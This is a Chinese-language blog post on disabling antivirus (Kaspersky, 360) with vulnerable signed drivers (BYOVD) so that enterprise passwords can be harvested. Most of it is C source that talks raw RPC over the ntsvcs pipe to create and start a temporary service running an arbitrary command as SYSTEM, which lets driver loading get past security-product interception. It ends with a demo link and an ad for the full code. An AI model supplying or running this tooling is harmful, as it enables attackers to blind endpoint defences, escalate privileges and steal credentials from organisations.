很多企业DER 卡巴斯基密码都不好抓,其中一种最简单直接的解决办法就是利用带有漏洞的合法签名白驱动直接结束安全软件进程,这种技术也称为“ BYOVD”。
不过这里存在一个问题,对于熟悉核晶的人来说应该不陌生,即直接加载驱动去Kill是无效的。此外,常见的加载驱动方式通常会被拦截

因此我们在这里采用了一些技巧:
通过自定义的RPC协议与 \\.\pipe\ntsvcs 管道进行通信
// rpc command ids// rpc command output lengthsstruct RpcBaseHeaderStruct{WORD wVersion;BYTE bPacketType;BYTE bPacketFlags;DWORD dwDataRepresentation;WORD wFragLength;WORD wAuthLength;DWORD dwCallIndex;};struct RpcRequestHeaderStruct{DWORD dwAllocHint;WORD wContextID;WORD wProcedureNumber;};struct RpcResponseHeaderStruct{DWORD dwAllocHint;WORD wContextID;BYTE bCancelCount;BYTE bAlign[1];};struct RpcBindRequestContextEntryStruct{WORD wContextID;WORD wTransItemCount;BYTE bInterfaceUUID[16];DWORD dwInterfaceVersion;BYTE bTransferSyntaxUUID[16];DWORD dwTransferSyntaxVersion;};struct RpcBindRequestHeaderStruct{WORD wMaxSendFrag;WORD wMaxRecvFrag;DWORD dwAssocGroup;BYTE bContextCount;BYTE bAlign[3];RpcBindRequestContextEntryStruct Context;};struct RpcBindResponseContextEntryStruct{WORD wResult;WORD wAlign;BYTE bTransferSyntax[16];DWORD dwTransferSyntaxVersion;};struct RpcBindResponseHeader1Struct{WORD wMaxSendFrag;WORD wMaxRecvFrag;DWORD dwAssocGroup;};struct RpcBindResponseHeader2Struct{DWORD dwContextResultCount;RpcBindResponseContextEntryStruct Context;};struct RpcConnectionStruct{HANDLE hFile;DWORD dwCallIndex;DWORD dwInputError;DWORD dwRequestInitialised;BYTE bProcedureInputData[MAX_PROCEDURE_DATA_LENGTH];DWORD dwProcedureInputDataLength;BYTE bProcedureOutputData[MAX_PROCEDURE_DATA_LENGTH];DWORD dwProcedureOutputDataLength;};DWORD RpcConvertUUID(char *pString, BYTE *pUUID, DWORD dwMaxLength){BYTE bUUID[16];BYTE bFixedUUID[16];DWORD dwUUIDLength = 0;BYTE bCurrInputChar = 0;BYTE bConvertedByte = 0;DWORD dwProcessedByteCount = 0;BYTE bCurrOutputByte = 0;// ensure output buffer is large enoughif(dwMaxLength < 16){return 1;}// check uuid lengthdwUUIDLength = strlen("00000000-0000-0000-0000-000000000000");if(strlen(pString) != dwUUIDLength){return 1;}// convert string to uuidfor(DWORD i = 0; i < dwUUIDLength; i++){// get current input characterbCurrInputChar = *(BYTE*)((BYTE*)pString + i);// check if a dash character is expected hereif(i == 8 || i == 13 || i == 18 || i == 23){if(bCurrInputChar == '-'){continue;}else{return 1;}}else{// check current input character valueif(bCurrInputChar >= 'a' && bCurrInputChar <= 'f'){bConvertedByte = 0xA + (bCurrInputChar - 'a');}else if(bCurrInputChar >= 'A' && bCurrInputChar <= 'F'){bConvertedByte = 0xA + (bCurrInputChar - 'A');}else if(bCurrInputChar >= '0' && bCurrInputChar <= '9'){bConvertedByte = 0 + (bCurrInputChar - '0');}else{// invalid characterreturn 1;}if((dwProcessedByteCount % 2) == 0){bCurrOutputByte = bConvertedByte * 0x10;}else{bCurrOutputByte += bConvertedByte;// store current uuid bytebUUID[(dwProcessedByteCount - 1) / 2] = bCurrOutputByte;}dwProcessedByteCount++;}}// fix uuid endiannessmemcpy((void*)bFixedUUID, (void*)bUUID, sizeof(bUUID));bFixedUUID[0] = bUUID[3];bFixedUUID[1] = bUUID[2];bFixedUUID[2] = bUUID[1];bFixedUUID[3] = bUUID[0];bFixedUUID[4] = bUUID[5];bFixedUUID[5] = bUUID[4];bFixedUUID[6] = bUUID[7];bFixedUUID[7] = bUUID[6];// store uuidmemcpy((void*)pUUID, (void*)bFixedUUID, sizeof(bUUID));return 0;}DWORD RpcBind(RpcConnectionStruct *pRpcConnection, char *pInterfaceUUID, DWORD dwInterfaceVersion){RpcBaseHeaderStruct RpcBaseHeader;RpcBindRequestHeaderStruct RpcBindRequestHeader;DWORD dwBytesWritten = 0;DWORD dwBytesRead = 0;BYTE bResponseData[MAX_RPC_PACKET_LENGTH];RpcBaseHeaderStruct *pRpcResponseBaseHeader = NULL;RpcBindResponseHeader1Struct *pRpcBindResponseHeader1 = NULL;RpcBindResponseHeader2Struct *pRpcBindResponseHeader2 = NULL;BYTE *pSecondaryAddrHeaderBlock = NULL;WORD wSecondaryAddrLen = 0;DWORD dwSecondaryAddrAlign = 0;// set base header detailsmemset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));RpcBaseHeader.wVersion = 5;RpcBaseHeader.bPacketType = 11;RpcBaseHeader.bPacketFlags = 3;RpcBaseHeader.dwDataRepresentation = 0x10;RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcBindRequestHeader);RpcBaseHeader.wAuthLength = 0;RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;// set bind request header detailsmemset((void*)&RpcBindRequestHeader, 0, sizeof(RpcBindRequestHeader));RpcBindRequestHeader.wMaxSendFrag = MAX_RPC_PACKET_LENGTH;RpcBindRequestHeader.wMaxRecvFrag = MAX_RPC_PACKET_LENGTH;RpcBindRequestHeader.dwAssocGroup = 0;RpcBindRequestHeader.bContextCount = 1;RpcBindRequestHeader.Context.wContextID = 0;RpcBindRequestHeader.Context.wTransItemCount = 1;RpcBindRequestHeader.Context.dwTransferSyntaxVersion = 2;// get interface UUIDif(RpcConvertUUID(pInterfaceUUID, RpcBindRequestHeader.Context.bInterfaceUUID, sizeof(RpcBindRequestHeader.Context.bInterfaceUUID)) != 0){return 1;}RpcBindRequestHeader.Context.dwInterfaceVersion = dwInterfaceVersion;// {8a885d04-1ceb-11c9-9fe8-08002b104860} (NDR)if(RpcConvertUUID("8a885d04-1ceb-11c9-9fe8-08002b104860", RpcBindRequestHeader.Context.bTransferSyntaxUUID, sizeof(RpcBindRequestHeader.Context.bTransferSyntaxUUID)) != 0){return 1;}// write base headerif(WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0){return 1;}// write bind request headerif(WriteFile(pRpcConnection->hFile, (void*)&RpcBindRequestHeader, sizeof(RpcBindRequestHeader), &dwBytesWritten, NULL) == 0){return 1;}// increase call indexpRpcConnection->dwCallIndex++;// get bind responsememset((void*)&bResponseData, 0, sizeof(bResponseData));if(ReadFile(pRpcConnection->hFile, (void*)bResponseData, sizeof(bResponseData), &dwBytesRead, NULL) == 0){return 1;}// get a ptr to the base response headerpRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;// validate base response headerif(pRpcResponseBaseHeader->wVersion != 5){return 1;}if(pRpcResponseBaseHeader->bPacketType != 12){return 1;}if(pRpcResponseBaseHeader->bPacketFlags != 3){return 1;}if(pRpcResponseBaseHeader->wFragLength != dwBytesRead){return 1;}// get a ptr to the main bind response header bodypRpcBindResponseHeader1 = (RpcBindResponseHeader1Struct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));// get secondary addr header ptrpSecondaryAddrHeaderBlock = (BYTE*)pRpcBindResponseHeader1 + sizeof(RpcBindResponseHeader1Struct);wSecondaryAddrLen = *(WORD*)pSecondaryAddrHeaderBlock;// validate secondary addr lengthif(wSecondaryAddrLen > 256){return 1;}// calculate padding for secondary addr value if necessarydwSecondaryAddrAlign = CALC_ALIGN_PADDING((sizeof(WORD) + wSecondaryAddrLen), 4);// get a ptr to the main bind response header body (after the variable-length secondary addr field)pRpcBindResponseHeader2 = (RpcBindResponseHeader2Struct*)((BYTE*)pSecondaryAddrHeaderBlock + sizeof(WORD) + wSecondaryAddrLen + dwSecondaryAddrAlign);// validate context countif(pRpcBindResponseHeader2->dwContextResultCount != 1){return 1;}// ensure the result value for context #1 was successfulif(pRpcBindResponseHeader2->Context.wResult != 0){return 1;}return 0;}DWORD RpcConnect(char *pPipeName, char *pInterfaceUUID, DWORD dwInterfaceVersion, RpcConnectionStruct *pRpcConnection){HANDLE hFile = NULL;char szPipePath[512];RpcConnectionStruct RpcConnection;// set pipe pathmemset(szPipePath, 0, sizeof(szPipePath));_snprintf(szPipePath, sizeof(szPipePath) - 1, "\\\\.\\pipe\\%s", pPipeName);// open rpc pipehFile = CreateFile(szPipePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);if(hFile == INVALID_HANDLE_VALUE){return 1;}// initialise rpc connection datamemset((void*)&RpcConnection, 0, sizeof(RpcConnection));RpcConnection.hFile = hFile;RpcConnection.dwCallIndex = 1;// bind rpc connectionif(RpcBind(&RpcConnection, pInterfaceUUID, dwInterfaceVersion) != 0){return 1;}// store connection datamemcpy((void*)pRpcConnection, (void*)&RpcConnection, sizeof(RpcConnection));return 0;}DWORD RpcSendRequest(RpcConnectionStruct *pRpcConnection, DWORD dwProcedureNumber){RpcBaseHeaderStruct RpcBaseHeader;RpcRequestHeaderStruct RpcRequestHeader;DWORD dwBytesWritten = 0;BYTE bResponseData[MAX_RPC_PACKET_LENGTH];RpcBaseHeaderStruct *pRpcResponseBaseHeader = NULL;RpcResponseHeaderStruct *pRpcResponseHeader = NULL;DWORD dwProcedureResponseDataLength = 0;DWORD dwBytesRead = 0;BYTE *pTempProcedureResponseDataPtr = NULL;// ensure rpc request has been initialisedif(pRpcConnection->dwRequestInitialised == 0){return 1;}// clear initialised flagpRpcConnection->dwRequestInitialised = 0;// check for input errorsif(pRpcConnection->dwInputError != 0){return 1;}// set base header detailsmemset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));RpcBaseHeader.wVersion = 5;RpcBaseHeader.bPacketType = 0;RpcBaseHeader.bPacketFlags = 3;RpcBaseHeader.dwDataRepresentation = 0x10;RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcRequestHeader) + pRpcConnection->dwProcedureInputDataLength;RpcBaseHeader.wAuthLength = 0;RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;// set request header detailsmemset((void*)&RpcRequestHeader, 0, sizeof(RpcRequestHeader));RpcRequestHeader.dwAllocHint = 0;RpcRequestHeader.wContextID = 0;RpcRequestHeader.wProcedureNumber = (WORD)dwProcedureNumber;// write base headerif(WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0){return 1;}// write request headerif(WriteFile(pRpcConnection->hFile, (void*)&RpcRequestHeader, sizeof(RpcRequestHeader), &dwBytesWritten, NULL) == 0){return 1;}// write request bodyif(WriteFile(pRpcConnection->hFile, (void*)pRpcConnection->bProcedureInputData, pRpcConnection->dwProcedureInputDataLength, &dwBytesWritten, NULL) == 0){return 1;}// increase call indexpRpcConnection->dwCallIndex++;// get bind responsememset((void*)&bResponseData, 0, sizeof(bResponseData));if(ReadFile(pRpcConnection->hFile, (void*)bResponseData, sizeof(bResponseData), &dwBytesRead, NULL) == 0){return 1;}// get a ptr to the base response headerpRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;// validate base response headerif(pRpcResponseBaseHeader->wVersion != 5){return 1;}if(pRpcResponseBaseHeader->bPacketType != 2){return 1;}if(pRpcResponseBaseHeader->bPacketFlags != 3){return 1;}if(pRpcResponseBaseHeader->wFragLength != dwBytesRead){return 1;}// get a ptr to the main response header bodypRpcResponseHeader = (RpcResponseHeaderStruct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));// context ID must be 0if(pRpcResponseHeader->wContextID != 0){return 1;}// calculate command response data lengthdwProcedureResponseDataLength = pRpcResponseBaseHeader->wFragLength - sizeof(RpcBaseHeaderStruct) - sizeof(RpcResponseHeaderStruct);// store response dataif(dwProcedureResponseDataLength > sizeof(pRpcConnection->bProcedureOutputData)){return 1;}pTempProcedureResponseDataPtr = (BYTE*)pRpcResponseHeader + sizeof(RpcResponseHeaderStruct);memcpy(pRpcConnection->bProcedureOutputData, pTempProcedureResponseDataPtr, dwProcedureResponseDataLength);// store response data lengthpRpcConnection->dwProcedureOutputDataLength = dwProcedureResponseDataLength;return 0;}DWORD RpcInitialiseRequestData(RpcConnectionStruct *pRpcConnection){// initialise request datamemset(pRpcConnection->bProcedureInputData, 0, sizeof(pRpcConnection->bProcedureInputData));pRpcConnection->dwProcedureInputDataLength = 0;memset(pRpcConnection->bProcedureOutputData, 0, sizeof(pRpcConnection->bProcedureOutputData));pRpcConnection->dwProcedureOutputDataLength = 0;// reset input error flagpRpcConnection->dwInputError = 0;// set initialised flagpRpcConnection->dwRequestInitialised = 1;return 0;}DWORD RpcAppendRequestData_Binary(RpcConnectionStruct *pRpcConnection, BYTE *pData, DWORD dwDataLength){DWORD dwBytesAvailable = 0;// ensure the request has been initialisedif(pRpcConnection->dwRequestInitialised == 0){return 1;}// calculate number of bytes remaining in the input bufferdwBytesAvailable = sizeof(pRpcConnection->bProcedureInputData) - pRpcConnection->dwProcedureInputDataLength;if(dwDataLength > dwBytesAvailable){// set input error flagpRpcConnection->dwInputError = 1;return 1;}// store data in buffermemcpy((void*)&pRpcConnection->bProcedureInputData[pRpcConnection->dwProcedureInputDataLength], pData, dwDataLength);pRpcConnection->dwProcedureInputDataLength += dwDataLength;// align to 4 bytes if necessarypRpcConnection->dwProcedureInputDataLength += CALC_ALIGN_PADDING(dwDataLength, 4);return 0;}DWORD RpcAppendRequestData_Dword(RpcConnectionStruct *pRpcConnection, DWORD dwValue){// add dword valueif(RpcAppendRequestData_Binary(pRpcConnection, (BYTE*)&dwValue, sizeof(DWORD)) != 0){return 1;}return 0;}DWORD RpcDisconnect(RpcConnectionStruct *pRpcConnection){// close pipe handleCloseHandle(pRpcConnection->hFile);return 0;}int main(int argc, char *argv[]){RpcConnectionStruct RpcConnection;BYTE bServiceManagerObject[20];BYTE bServiceObject[20];DWORD dwReturnValue = 0;char szServiceName[256];DWORD dwServiceNameLength = 0;char szServiceCommandLine[256];DWORD dwServiceCommandLineLength = 0;char *pExecCmd = NULL;printf("CreateSvcRpc - www.x86matthew.com\n\n");if(argc != 2){printf("Usage: %s [exec_cmd]\n\n", argv[0]);return 1;}// get cmd parampExecCmd = argv[1];// generate a temporary service namememset(szServiceName, 0, sizeof(szServiceName));_snprintf(szServiceName, sizeof(szServiceName) - 1, "CreateSvcRpc_%u", GetTickCount());dwServiceNameLength = strlen(szServiceName) + 1;// set service command linememset(szServiceCommandLine, 0, sizeof(szServiceCommandLine));_snprintf(szServiceCommandLine, sizeof(szServiceCommandLine) - 1, "cmd /c start %s", pExecCmd);dwServiceCommandLineLength = strlen(szServiceCommandLine) + 1;printf("Connecting to SVCCTL RPC pipe...\n");// open SVCCTL v2.0if(RpcConnect("ntsvcs", "367abb81-9844-35f1-ad32-98f038001003", 2, &RpcConnection) != 0){printf("Failed to connect to RPC pipe\n");return 1;}printf("Opening service manager...\n");// OpenSCManagerRpcInitialiseRequestData(&RpcConnection);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS);if(RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER) != 0){// errorRpcDisconnect(&RpcConnection);return 1;}// validate rpc output data lengthif(RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_OPEN_SC_MANAGER){// errorRpcDisconnect(&RpcConnection);return 1;}// get return valuedwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[20];// check return valueif(dwReturnValue != 0){printf("OpenSCManager error: %u\n", dwReturnValue);// errorRpcDisconnect(&RpcConnection);return 1;}// store service manager objectmemcpy(bServiceManagerObject, (void*)&RpcConnection.bProcedureOutputData[0], sizeof(bServiceManagerObject));printf("Creating temporary service...\n");// CreateServiceRpcInitialiseRequestData(&RpcConnection);RpcAppendRequestData_Binary(&RpcConnection, bServiceManagerObject, sizeof(bServiceManagerObject));RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceName, dwServiceNameLength);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ALL_ACCESS);RpcAppendRequestData_Dword(&RpcConnection, SERVICE_WIN32_OWN_PROCESS);RpcAppendRequestData_Dword(&RpcConnection, SERVICE_DEMAND_START);RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ERROR_IGNORE);RpcAppendRequestData_Dword(&RpcConnection, dwServiceCommandLineLength);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, dwServiceCommandLineLength);RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);if(RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE) != 0){// errorRpcDisconnect(&RpcConnection);return 1;}// validate rpc output data lengthif(RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_CREATE_SERVICE){// errorRpcDisconnect(&RpcConnection);return 1;}// get return valuedwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[24];// check return valueif(dwReturnValue != 0){printf("CreateService error: %u\n", dwReturnValue);// errorRpcDisconnect(&RpcConnection);return 1;}// store service objectmemcpy(bServiceObject, (void*)&RpcConnection.bProcedureOutputData[4], sizeof(bServiceObject));printf("Executing '%s' as SYSTEM user...\n", pExecCmd);// StartServiceRpcInitialiseRequestData(&RpcConnection);RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, sizeof(bServiceObject));RpcAppendRequestData_Dword(&RpcConnection, 0);RpcAppendRequestData_Dword(&RpcConnection, 0);if(RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE) != 0){// errorRpcDisconnect(&RpcConnection);return 1;}// validate rpc output data lengthif(RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_START_SERVICE){// errorRpcDisconnect(&RpcConnection);return 1;}// get return valuedwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[0];// check return valueif(dwReturnValue != 0 && dwReturnValue != ERROR_SERVICE_REQUEST_TIMEOUT){printf("StartService error: %u\n", dwReturnValue);// errorRpcDisconnect(&RpcConnection);return 1;}printf("Deleting temporary service...\n");// DeleteServiceRpcInitialiseRequestData(&RpcConnection);RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, sizeof(bServiceObject));if(RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE) != 0){// errorRpcDisconnect(&RpcConnection);return 1;}// validate rpc output data lengthif(RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_DELETE_SERVICE){// errorRpcDisconnect(&RpcConnection);return 1;}// get return valuedwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[0];// check return valueif(dwReturnValue != 0){printf("DeleteService error: %u\n", dwReturnValue);// errorRpcDisconnect(&RpcConnection);return 1;}printf("Finished\n");// disconnect from rpc pipeif(RpcDisconnect(&RpcConnection) != 0){return 1;}return 0;}
参考x86matthew:https://www.x86matthew.com/view_post?id=create_svc_rpc
实战效果:
【绕过360核晶加载驱动-哔哩哔哩】 https://b23.tv/0uD1vBS
完整代码在分享技术干货,答疑的知识星球:
